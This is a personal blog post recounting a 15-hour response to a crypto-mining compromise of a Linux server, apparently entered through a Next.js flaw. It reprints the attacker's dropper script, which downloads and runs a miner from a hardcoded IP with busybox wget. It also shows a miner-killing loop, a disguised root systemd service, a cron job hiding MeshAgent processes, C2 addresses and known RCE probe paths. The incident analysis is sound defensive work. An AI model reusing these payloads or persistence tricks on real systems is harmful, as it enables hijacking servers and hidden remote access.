It was supposed to be a relaxing Friday evening.
Instead, I received an alarming message from my cloud provider:
"A large amount of outbound traffic is being generated from your server to a Chinese IP address."
I immediately connected to the server via SSH.
The CPU usage was nearly 100%.
What followed was approximately 15 hours of incident response, involving cryptocurrency miners, hidden systemd services, multiple persistence mechanisms, a remote management backdoor, and a suspected Next.js vulnerability.
Here's what happened, what I discovered, and what I learned.
1. The Incident Begins
Friday, December 5, 2025
After receiving the warning from my cloud provider, the first thing I did was run:
top
One process immediately caught my attention:
PID USER PR NI VIRT RES SHR S %CPU %MEM COMMAND
2096450 root 20 0 7820 1368 1168 R 93.3 0.0 strings
Wait... strings?
Why was a simple utility consuming over 90% of the CPU?
I killed the process.
But it came back.
Every time I terminated it, another process appeared with a different PID.
Clearly, something was keeping it alive.
2. Investigating the Process Tree
I started tracing the parent-child relationships using pstree.
pstree -ap
The result revealed something interesting:
systemd,1
└─sh,882056 /dev/health.sh
├─grep,2110109 -q xmrig
└─strings,2110108 /proc/2497/exe
There was a shell script running from:
/dev/health.sh
I had never created this script.
Even more suspiciously, five instances of it were running simultaneously.
Examining health.sh
I opened the script to understand what it was doing.
while true; do
for proc_dir in /proc/[0-9]*; do
pid=${proc_dir##*/}
if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
kill -9 "$pid"
continue
fi
result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
case "$result" in
*"(deleted)"* | *"xmrig"* | *"watcher"* | *"/tmp/a"* | *"softirq"* | *"rondo"*)
kill -9 "$pid"
;;
esac
done
sleep 45
done
This script continuously scanned running processes every 45 seconds.
It inspected executable files under /proc and terminated processes matching specific patterns, including:
xmrigwatchersoftirqrondo/tmp/a
Interestingly, the script appeared to be killing other mining processes.
My interpretation was that the attacker wanted to eliminate competing miners and maintain exclusive access to the server's computing resources.
However, this script was only part of the infection.
3. Discovering the Actual Mining Payload
The more important file was located at:
/dev/shm/bts
Its contents explained how the mining operation worked.
#!/bin/bash
pkill -9 xmrig
P="fghgf"
R="/dev"
if ! pgrep $P > /dev/null; then
busybox wget http://193.34.213.150/nuts/x -O->/tmp/$P
busybox wget http://193.34.213.150/nuts/lc -O->/tmp/config.json
chmod 777 /tmp/$P
/tmp/$P -c /tmp/config.json -B &
fi
if ! pgrep "health.sh"; then
cat <<'EOF' > "${R}/health.sh"
# ... health.sh content auto-generated ...
EOF
chmod 777 "${R}/health.sh"
${R}/health.sh &
fi
echo MEOWWWWWWWWW
The execution flow was relatively straightforward:
- Kill existing
xmrigprocesses. - Download a mining executable and configuration file from an attacker-controlled server.
- Make the downloaded executable runnable.
- Launch the miner in the background.
- Recreate
health.shif it is missing.
And finally:
echo MEOWWWWWWWWW
Yes. The attacker actually left a MEOWWWWWWWWW message in the script.
Not exactly what I expected to find during a security incident.
What made this dangerous?
The payload was not simply a standalone miner.
It also included mechanisms to maintain the mining operation and interfere with other processes.
This meant that killing one suspicious process would not necessarily stop the infection.
Unfortunately, I learned that lesson the hard way.
4. My First Attempt at Removal
At this point, I believed I had identified the malicious components.
I terminated the suspicious processes:
pkill -9 -f "health.sh"
pkill -9 -f "fghgf"
Then removed the files:
rm -f /dev/health.sh
rm -f /dev/shm/bts
rm -f /tmp/fghgf
rm -f /tmp/config.json
I also blocked the identified IP address using UFW:
ufw deny out to 193.34.213.150
ufw deny in from 193.34.213.150
Additionally, I applied country-based access restrictions through my cloud provider's firewall.
The CPU usage returned to normal.
Everything looked fine.
I thought the incident was over.
It wasn't.
5. Ten Hours Later: The Miner Returns
Saturday, December 6, 2025
Around 10 AM, I checked the server again.
The CPU usage had reached 200%.
A new suspicious process was running:
PID USER PR NI VIRT RES SHR S %CPU COMMAND
2313800 root 20 0 ... ... ... R 200.0 p9gzSA
This time, the executable had a different name.
p9gzSA
Its command line revealed another mining endpoint:
/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tls
The attacker was not relying on a single executable or endpoint.
My initial cleanup had removed the visible symptoms, but something deeper was still active.
I decided to investigate the entire system.
6. Hidden Persistence Through systemd
While examining system services, I discovered a suspicious unit file:
cat /usr/lib/systemd/system/systemd-agent.service
Its contents were:
[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target
[Service]
ExecStart=/bin/systemd-daemon --user
Restart=always
User=root
[Install]
WantedBy=multi-user.target
At first glance, the name looked legitimate.
systemd-agent.service
The description was equally generic:
System Daemon
But the service was not part of my intended system configuration.
Why this mattered
Several details stood out:
-
Restart=alwayswould restart the process whenever it exited. -
User=rootmeant the executable ran with root privileges. -
WantedBy=multi-user.targetallowed the service to be enabled for normal system startup. - The executable name resembled a legitimate system component.
This explained why simply killing processes was not enough.
The system itself could restart the malicious executable.
Additional C2 Infrastructure
During further analysis, I identified four hardcoded IP addresses associated with the suspicious components:
185.247.224.41
87.98.162.88
82.221.103.244
67.215.246.10
The attacker had apparently prepared multiple endpoints rather than depending on a single server.
Blocking one address was never going to be a complete solution.
7. A Remote Management Backdoor: MeshAgent
The next discovery was even more concerning.
I found a directory containing a MeshAgent executable:
ls /usr/local/mesh_services/meshagent/
Output:
meshagent
MeshAgent is associated with MeshCentral, a legitimate remote device management platform.
But in this context, I had never authorized its installation.
The configuration referenced:
MeshServer: wss://72.62.67.33:443/agent.ashx
MeshName: all_notcloud
This suggested that the attacker had installed a remote management agent.
The incident was no longer just about cryptocurrency mining.
An unauthorized remote management tool could potentially provide persistent access to the compromised server.
A Suspicious Cron Job
I also discovered an unusual crontab entry:
* * * * * pgrep -f meshagent | while read pid; do \
mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2>/dev/null; \
done
This command ran every minute.
It attempted to bind-mount /tmp/empty over /proc/$pid for processes matching meshagent.
This appeared to be an attempt to interfere with process inspection or visibility, although the precise effect would depend on the mount configuration and whether the command succeeded.
By this point, I had identified multiple layers of suspicious activity:
- Cryptocurrency mining processes
- Scripts that recreated malicious components
- A disguised systemd service
- Multiple external endpoints
- An unauthorized remote management agent
- A cron-based process manipulation mechanism
Removing the miner alone was clearly insufficient.
8. Tracing the Initial Intrusion
I realized that my first response had focused entirely on removing malicious files.
I had not answered the most important question:
How did the attacker get into the server in the first place?
I started by reviewing SSH authentication logs.
grep -i "Accepted" /var/log/auth.log
I couldn't find evidence of a suspicious external SSH login.
That pushed my investigation toward the web applications hosted on the server.
Analyzing Web Server Access Logs
I reviewed the web server access logs chronologically.
The activity suggested that reconnaissance attempts had begun in late November.
More aggressive attack traffic appeared around December 2.
On December 5, I found evidence of remote code execution attempts.
On December 6, the logs showed a large-scale scan involving numerous potential RCE vectors within a short period.
Some of the suspicious requests targeted:
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
php://input
eval-stdin.php
call_user_func_array
pearcmd&+config-create
These corresponded to well-known attack techniques:
| Payload / Target | Suspected Attack Type |
|---|---|
/cgi-bin/.%2e/.../bin/sh |
Path traversal |
php://input |
PHP code execution |
eval-stdin.php |
PHPUnit RCE |
call_user_func_array |
ThinkPHP RCE |
pearcmd&+config-create |
PEAR command injection |
The attacker, or automated scanning infrastructure, appeared to be probing a variety of known vulnerabilities.
But one application stood out.
9. The Suspected Entry Point: Next.js RSC
The server was also hosting a Next.js application.
While reviewing the access logs, I noticed numerous POST requests targeting endpoints associated with React Server Components and Server Actions.
Examples included:
POST /_next/flight
POST /_react/flight
POST /_next/server-actions
These requests raised concerns about exploitation attempts targeting React Server Components serialization and deserialization behavior.
At the time of the incident, critical RCE vulnerabilities affecting React Server Components and certain Next.js deployments had become a major security concern.
The observed traffic was consistent with attempts to exploit this class of vulnerability.
Why I Suspected Next.js
Several observations pointed toward the application:
- The server was running a Next.js project.
- The access logs contained suspicious POST traffic targeting RSC-related endpoints.
- The incident occurred during a period of active exploitation of RSC-related vulnerabilities.
- My first cleanup did not address the potentially vulnerable application.
- The server experienced another mining incident after the initial removal.
Based on the evidence available to me, the Next.js application was the strongest suspected entry point.
However, the access logs alone did not conclusively prove which request achieved code execution.
Confirming the exact exploit would require additional evidence, such as payload analysis, application version verification, process execution telemetry, or forensic correlation.
The important lesson was unchanged:
Removing malware without addressing the vulnerability that may have allowed the intrusion leaves the system exposed.
10. Final Response: Rebuilding the Server
After discovering the multiple persistence mechanisms, I no longer trusted the integrity of the operating system.
The suspicious components had operated with root privileges.
There was no reliable way to guarantee that every malicious modification had been discovered.
Instead of continuing to remove individual files, I chose to rebuild.
The response included:
- Applying security patches and updating vulnerable application dependencies.
- Decommissioning the compromised server.
- Migrating the application to a newly provisioned server.
- Reviewing firewall and network access rules.
- Reassessing the application's exposed attack surface.
The old server was ultimately removed.
A clean environment was the safer choice than continuing to operate a system whose integrity could no longer be trusted.
11. What I Learned
1. Normal CPU usage does not mean the server is clean
During my first response, I treated the CPU returning to normal as a sign of success.
That was my biggest mistake.
The miner had stopped, but persistence mechanisms remained.
2. Attackers may establish multiple persistence mechanisms
In this incident, I discovered suspicious components involving:
- Shell scripts
- systemd services
- Cron jobs
- Remote management software
Finding one malicious process does not mean you have found the entire compromise.
3. Always investigate the initial access vector
Deleting the payload does not fix the vulnerability that allowed it to execute.
Incident response must include identifying and addressing the original entry point wherever possible.
4. Root-level compromise changes the recovery strategy
Once an attacker has gained root-level execution, manually removing suspicious files cannot establish that the system is trustworthy again.
Rebuilding from a known-good environment is often the safest recovery approach.
5. Logs are essential
Without web server access logs, I would have had very little information about the attack timeline.
The chronological log analysis helped me understand how the incident developed and where to focus the investigation.
6. Security updates cannot be postponed indefinitely
Even a small web application can become an entry point for a much larger compromise.
Keeping frameworks, runtimes, and dependencies updated is essential.
Final Thoughts
What started as a suspicious CPU spike turned into a 15-hour investigation.
I found cryptocurrency miners, a disguised systemd service, multiple external endpoints, an unauthorized MeshAgent installation, and evidence suggesting attempts to exploit a Next.js RSC vulnerability.
The most important lesson was simple:
Don't just remove the malware. Find out how it got there, eliminate persistence, and restore trust in the environment.
During the first response, I focused on making the symptoms disappear.
During the second response, I finally started investigating the underlying compromise.
That difference changed how I think about server security and incident response.
If you've dealt with a similar Linux server compromise, I'd be interested to hear what persistence mechanisms you encountered and how you approached recovery.
Originally published on my personal blog: Server Gets Hacked — Crypto Miner Incident Response
All IP addresses, domains, commands, and process names shown in this article were observed during the incident. They are included for security research and incident analysis purposes. Their presence does not establish current malicious activity or attribution.
Top comments (0)